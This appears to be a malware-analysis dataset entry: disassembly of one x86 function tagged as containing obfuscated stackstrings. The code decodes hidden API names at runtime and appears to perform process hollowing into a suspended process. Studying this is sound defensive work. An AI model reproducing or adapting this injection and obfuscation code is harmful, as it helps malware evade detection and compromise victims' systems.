Function at 0x414875
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x453991
call fcn.004534f4
sub esp, 0x1fc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
mov dword [ebp - 4], ebx
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xd0], ecx
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0xbc], eax
cmp dword [eax], 0x4550
jne 0x415188
push 0x10
push ebx
lea eax, [ebp - 0xcc]
push eax
call fcn.00445a50
push 0x44
push ebx
lea eax, [ebp - 0x208]
push eax
call fcn.00445a50
add esp, 0x18
movaps xmm0, xmmword [0x407070]
movups xmmword [ebp - 0x1a7], xmm0
mov ecx, ebx
mov dword [ebp - 0xf8], ecx
cmp ecx, 0xe
jae 0x414903
mov al, byte [ebp + ecx - 0x1a6]
xor al, byte [ebp - 0x1a7]
mov byte [ebp + ecx - 0x1a6], al
inc ecx
jmp 0x4148e1
mov byte [ebp - 0x198], bl
lea esi, [ebp - 0x1a6]
mov dl, 0x21
mov dword [ebp - 0x2c], 0x53446a21
mov word [ebp - 0x28], 0x444f
push 0x4d
pop ebx
mov byte [ebp - 0x26], bl
mov dword [ebp - 0x25], 0x450f1312
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x20], bl
mov byte [ebp - 0x1f], 0
xor ecx, ecx
mov dword [ebp - 0xfc], ecx
push 0xc
pop edi
cmp ecx, edi
jae 0x41495a
mov al, byte [ebp + ecx - 0x2b]
xor al, dl
mov byte [ebp + ecx - 0x2b], al
inc ecx
mov dword [ebp - 0xfc], ecx
mov dl, byte [ebp - 0x2c]
jmp 0x414940
mov byte [ebp - 0x1f], 0
mov edx, esi
lea ecx, [ebp - 0x2b]
call fcn.0040c457
mov edx, eax
mov ecx, dword [ebp + 0x10]
cmp dword [ecx + 0x10], 0
jne 0x414977
xor ecx, ecx
jmp 0x41497f
cmp dword [ecx + 0x14], 0x10
jb 0x41497f
mov ecx, dword [ecx]
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x14], 0x10
jb 0x41498a
mov eax, dword [eax]
lea esi, [ebp - 0xcc]
push esi
lea esi, [ebp - 0x208]
push esi
xor esi, esi
push esi
push esi
push 4
push esi
push esi
push esi
push ecx
push eax
call edx
test eax, eax
je 0x415188
mov dl, 0x39
mov dword [ebp - 0x3a], 0x4b506f39
mov byte [ebp - 0x36], bl
mov dword [ebp - 0x35], 0x7855584c
mov dword [ebp - 0x31], 0x5a565555
mov byte [ebp - 0x2d], 0
xor ecx, ecx
mov dword [ebp - 0x100], ecx
cmp ecx, edi
jae 0x4149ed
mov al, byte [ebp + ecx - 0x39]
xor al, dl
mov byte [ebp + ecx - 0x39], al
inc ecx
mov dword [ebp - 0x100], ecx
mov dl, byte [ebp - 0x3a]
jmp 0x4149d3
mov byte [ebp - 0x2d], 0
lea esi, [ebp - 0x39]
mov dl, 0x21
mov dword [ebp - 0x48], 0x53446a21
mov word [ebp - 0x44], 0x444f
mov byte [ebp - 0x42], bl
mov dword [ebp - 0x41], 0x450f1312
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], bl
xor ebx, ebx
mov byte [ebp - 0x3b], bl
mov ecx, ebx
mov dword [ebp - 0x104], ecx
cmp ecx, edi
jae 0x414a3a
mov al, byte [ebp + ecx - 0x47]
xor al, dl
mov byte [ebp + ecx - 0x47], al
inc ecx
mov dword [ebp - 0x104], ecx
mov dl, byte [ebp - 0x48]
jmp 0x414a20
mov byte [ebp - 0x3b], bl
mov edx, esi
lea ecx, [ebp - 0x47]
call fcn.0040c457
push 4
push 0x1000
push 4
push ebx
call eax
mov esi, eax
mov dword [ebp + 0xc], esi
mov dword [esi], 0x10007
movaps xmm0, xmmword [0x408740]
movups xmmword [ebp - 0x185], xmm0
mov word [ebp - 0x175], 0x82
mov edx, ebx
mov dword [ebp - 0x108], edx
cmp edx, 0x10
jae 0x414aa9
movsx ecx, byte [ebp - 0x185]
and ecx, 0x8000000f
jns 0x414a96
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x184]
sub al, cl
mov byte [ebp + edx - 0x184], al
inc edx
jmp 0x414a77
mov byte [ebp - 0x174], bl
mov dl, 0x5f
mov dword [ebp - 0x56], 0x2d3a145f
mov dword [ebp - 0x52], 0x6c333a31
mov byte [ebp - 0x4e], 0x6d
push 0x71
pop ebx
mov byte [ebp - 0x4d], bl
mov dword [ebp - 0x4c], 0x33333b
xor ecx, ecx
mov dword [ebp - 0x10c], ecx
cmp ecx, edi
jae 0x414af2
mov al, byte [ebp + ecx - 0x55]
xor al, dl
mov byte [ebp + ecx - 0x55], al
inc ecx
mov dword [ebp - 0x10c], ecx
mov dl, byte [ebp - 0x56]
jmp 0x414ad8
mov byte [ebp - 0x49], 0
lea edx, [ebp - 0x184]
lea ecx, [ebp - 0x55]
call fcn.0040c457
push esi
push dword [ebp - 0xc8]
call eax
test eax, eax
je 0x415188
movaps xmm0, xmmword [0x4081a0]
movups xmmword [ebp - 0x173], xmm0
mov word [ebp - 0x163], 0x7d76
mov byte [ebp - 0x161], 0
xor edx, edx
mov dword [ebp - 0x110], edx
cmp edx, 0x11
jae 0x414b67
movsx ecx, byte [ebp - 0x173]
and ecx, 0x8000000f
jns 0x414b54
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x172]
sub al, cl
mov byte [ebp + edx - 0x172], al
inc edx
jmp 0x414b35
mov byte [ebp - 0x161], 0
mov al, 0x2f
mov dword [ebp - 0x1e], 0x81745a2f
mov dword [ebp - 0x1a], 0x427b747d
mov dword [ebp - 0x16], 0x7b733d41
mov word [ebp - 0x12], 0x7b
xor edx, edx
mov dword [ebp - 0x114], edx
cmp edx, edi
jae 0x414bbd
movsx ecx, al
and ecx, 0x8000000f
jns 0x414ba7
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x1d]
sub al, cl
mov byte [ebp + edx - 0x1d], al
inc edx
mov dword [ebp - 0x114], edx
mov al, byte [ebp - 0x1e]
jmp 0x414b93
mov byte [ebp - 0x11], 0
lea edx, [ebp - 0x172]
lea ecx, [ebp - 0x1d]
call fcn.0040c457
mov ecx, dword [esi + 0xa4]
add ecx, 8
push 0
push 4
lea edx, [ebp - 0x1bc]
push edx
push ecx
push dword [ebp - 0xcc]
call eax
test eax, eax
je 0x41518c
movaps xmm0, xmmword [0x4072d0]
movups xmmword [ebp - 0x1b7], xmm0
xor edx, edx
mov dword [ebp - 0x118], edx
cmp edx, 0xe
jae 0x414c36
movsx ecx, byte [ebp - 0x1b7]
and ecx, 0x8000000f
jns 0x414c23
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x1b6]
sub al, cl
mov byte [ebp + edx - 0x1b6], al
inc edx
jmp 0x414c04
mov byte [ebp - 0x1a8], 0
lea esi, [ebp - 0x1b6]
push 0x53
pop eax
mov byte [ebp - 0x64], al
mov word [ebp - 0x63], 0x684e
mov byte [ebp - 0x61], 0x75
mov byte [ebp - 0x60], bl
mov dword [ebp - 0x5f], 0x35366f68
mov dword [ebp - 0x5b], 0x6f6f6731
mov byte [ebp - 0x57], 0
xor edx, edx
mov dword [ebp - 0x11c], edx
cmp edx, edi
jae 0x414c9a
movsx ecx, al
and ecx, 0x8000000f
jns 0x414c84
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x63]
sub al, cl
mov byte [ebp + edx - 0x63], al
inc edx
mov dword [ebp - 0x11c], edx
mov al, byte [ebp - 0x64]
jmp 0x414c70
mov byte [ebp - 0x57], 0
mov edx, esi
lea ecx, [ebp - 0x63]
call fcn.0040c457
mov dword [ebp + 0x10], 0x333f
mov ecx, dword [ebp + 0x10]
xor ecx, 0x33f
push 0x40
push ecx
mov edi, dword [ebp - 0xbc]
push dword [edi + 0x50]
push dword [edi + 0x34]
push dword [ebp - 0xcc]
call eax
mov ebx, eax
mov dword [ebp + 0x10], ebx
test ebx, ebx
je 0x41518c
movaps xmm0, xmmword [0x408440]
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x128], 0x857e7b
xor edx, edx
mov dword [ebp - 0x120], edx
cmp edx, 0x12
jae 0x414d28
movsx ecx, byte [ebp - 0x138]
and ecx, 0x8000000f
jns 0x414d15
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x137]
sub al, cl
mov byte [ebp + edx - 0x137], al
inc edx
jmp 0x414cf6
mov byte [ebp - 0x125], 0
lea esi, [ebp - 0x137]
mov dl, 0x56
mov dword [ebp - 0x72], 0x24331d56
mov dword [ebp - 0x6e], 0x653a3338
mov dword [ebp - 0x6a], 0x3a327864
mov word [ebp - 0x66], 0x3a
xor ecx, ecx
mov dword [ebp - 0x124], ecx
cmp ecx, 0xc
jae 0x414d75
mov al, byte [ebp + ecx - 0x71]
xor al, dl
mov byte [ebp + ecx - 0x71], al
inc ecx
mov dword [ebp - 0x124], ecx
mov dl, byte [ebp - 0x72]
jmp 0x414d5a
mov byte [ebp - 0x65], 0
mov edx, esi
lea ecx, [ebp - 0x71]
call fcn.0040c457
push 0
push dword [edi + 0x54]
push dword [ebp + 8]
push ebx
push dword [ebp - 0xcc]
call eax
test eax, eax
je 0x41518c
xor esi, esi
mov dword [ebp - 0xdc], esi
push 0x79
pop ebx
movzx eax, word [edi + 6]
cmp esi, eax
jge 0x414eb9
imul edi, esi, 0x28
mov eax, dword [ebp - 0xd0]
add edi, dword [eax + 0x3c]
movaps xmm0, xmmword [0x4081d0]
movups xmmword [ebp - 0x14c], xmm0
mov byte [ebp - 0x13c], 0x76
mov byte [ebp - 0x13b], bl
mov word [ebp - 0x13a], 0x80
xor edx, edx
mov dword [ebp - 0xd4], edx
cmp edx, 0x12
jae 0x414e17
movsx ecx, byte [ebp - 0x14c]
and ecx, 0x8000000f
jns 0x414e04
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x14b]
sub al, cl
mov byte [ebp + edx - 0x14b], al
inc edx
jmp 0x414de5
mov byte [ebp - 0x139], 0
mov dl, 0x26
mov dword [ebp - 0x80], 0x54436d26
mov dword [ebp - 0x7c], 0x154a4348
mov dword [ebp - 0x78], 0x4a420814
mov word [ebp - 0x74], 0x4a
xor ecx, ecx
mov dword [ebp - 0xd8], ecx
cmp ecx, 0xc
jae 0x414e5e
mov al, byte [ebp + ecx - 0x7f]
xor al, dl
mov byte [ebp + ecx - 0x7f], al
inc ecx
mov dword [ebp - 0xd8], ecx
mov dl, byte [ebp - 0x80]
jmp 0x414e43
mov byte [ebp - 0x73], 0
lea edx, [ebp - 0x14b]
lea ecx, [ebp - 0x7f]
call fcn.0040c457
mov ecx, dword [ebp + 8]
mov edx, dword [edi + ecx + 0x10c]
add edx, ecx
mov ecx, dword [edi + ecx + 0x104]
add ecx, dword [ebp + 0x10]
push 0
mov ebx, dword [ebp + 8]
push dword [edi + ebx + 0x108]
push edx
push ecx
push dword [ebp - 0xcc]
call eax
test eax, eax
push 0x79
pop ebx
je 0x41518c
inc esi
mov dword [ebp - 0xdc], esi
mov edi, dword [ebp - 0xbc]
jmp 0x414da7
movaps xmm0, xmmword [0x407c40]
movups xmmword [ebp - 0x160], xmm0
mov dword [ebp - 0x150], 0x4e4558
xor ecx, ecx
mov dword [ebp - 0xe0], ecx
cmp ecx, 0x12
jae 0x414ef5
mov al, byte [ebp + ecx - 0x15f]
xor al, byte [ebp - 0x160]
mov byte [ebp + ecx - 0x15f], al
inc ecx
jmp 0x414ed3
mov byte [ebp - 0x14d], 0
lea esi, [ebp - 0x15f]
mov al, 0x6b
mov dword [ebp - 0x8e], 0x7d70566b
mov byte [ebp - 0x8a], bl
mov dword [ebp - 0x89], 0x3d3e7770
mov dword [ebp - 0x85], 0x77776f39
mov byte [ebp - 0x81], 0
xor edx, edx
mov dword [ebp - 0xf4], edx
cmp edx, 0xc
jae 0x414f6b
movsx ecx, al
and ecx, 0x8000000f
jns 0x414f4c
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x8d]
sub al, cl
mov byte [ebp + edx - 0x8d], al
inc edx
mov dword [ebp - 0xf4], edx
mov al, byte [ebp - 0x8e]
jmp 0x414f37
mov byte [ebp - 0x81], 0
mov edx, esi
lea ecx, [ebp - 0x8d]
call fcn.0040c457
mov esi, dword [ebp + 0xc]
mov edx, dword [esi + 0xa4]
add edx, 8
push 0
push 4
lea ecx, [edi + 0x34]
push ecx
push edx
push dword [ebp - 0xcc]
call eax
test eax, eax
je 0x41518c
mov eax, dword [edi + 0x28]
add eax, dword [ebp + 0x10]
mov dword [esi + 0xb0], eax
movaps xmm0, xmmword [0x408760]
movups xmmword [ebp - 0x197], xmm0
mov word [ebp - 0x187], 0x83
xor edx, edx
mov dword [ebp - 0xe4], edx
cmp edx, 0x10
jae 0x414ffb
movsx ecx, byte [ebp - 0x197]
and ecx, 0x8000000f
jns 0x414fe8
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x196]
sub al, cl
mov byte [ebp + edx - 0x196], al
inc edx
jmp 0x414fc9
mov byte [ebp - 0x186], 0
lea edi, [ebp - 0x196]
push 0x4d
pop edx
mov byte [ebp - 0x9c], dl
mov dword [ebp - 0x9b], 0x233f2806
mov dword [ebp - 0x97], 0x7f7e2128
mov dword [ebp - 0x93], 0x21212963
mov byte [ebp - 0x8f], 0
xor ecx, ecx
mov dword [ebp - 0xe8], ecx
cmp ecx, 0xc
jae 0x415062
mov al, byte [ebp + ecx - 0x9b]
xor al, dl
mov byte [ebp + ecx - 0x9b], al
inc ecx
mov dword [ebp - 0xe8], ecx
mov dl, byte [ebp - 0x9c]
jmp 0x41503e
mov byte [ebp - 0x8f], 0
mov edx, edi
lea ecx, [ebp - 0x9b]
call fcn.0040c457
push esi
push dword [ebp - 0xc8]
call eax
mov byte [ebp - 0xaa], bl
mov dword [ebp - 0xa9], 0x7e7c6e5b
mov word [ebp - 0xa5], 0x6e76
mov byte [ebp - 0xa3], 0x5d
push 0x71
pop eax
mov byte [ebp - 0xa2], al
mov dword [ebp - 0xa1], 0x6d6a6e7b
mov byte [ebp - 0x9d], 0
xor edx, edx
mov dword [ebp - 0xec], edx
cmp edx, 0xc
jae 0x4150f5
movsx ecx, bl
and ecx, 0x8000000f
jns 0x4150d6
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0xa9]
sub al, cl
mov byte [ebp + edx - 0xa9], al
inc edx
mov dword [ebp - 0xec], edx
mov bl, byte [ebp - 0xaa]
jmp 0x4150c1
mov byte [ebp - 0x9d], 0
lea esi, [ebp - 0xa9]
push 0x71
pop eax
mov byte [ebp - 0xb8], al
mov dword [ebp - 0xb7], 0x6f73664c
mov dword [ebp - 0xb3], 0x33346d66
mov dword [ebp - 0xaf], 0x6d6d652f
mov byte [ebp - 0xab], 0
xor edx, edx
mov dword [ebp - 0xf0], edx
cmp edx, 0xc
jae 0x41516c
movsx ecx, al
and ecx, 0x8000000f
jns 0x41514d
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0xb7]
sub al, cl
mov byte [ebp + edx - 0xb7], al
inc edx
mov dword [ebp - 0xf0], edx
mov al, byte [ebp - 0xb8]
jmp 0x415138
mov byte [ebp - 0xab], 0
mov edx, esi
lea ecx, [ebp - 0xb7]
call fcn.0040c457
push dword [ebp - 0xc8]
call eax
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0xc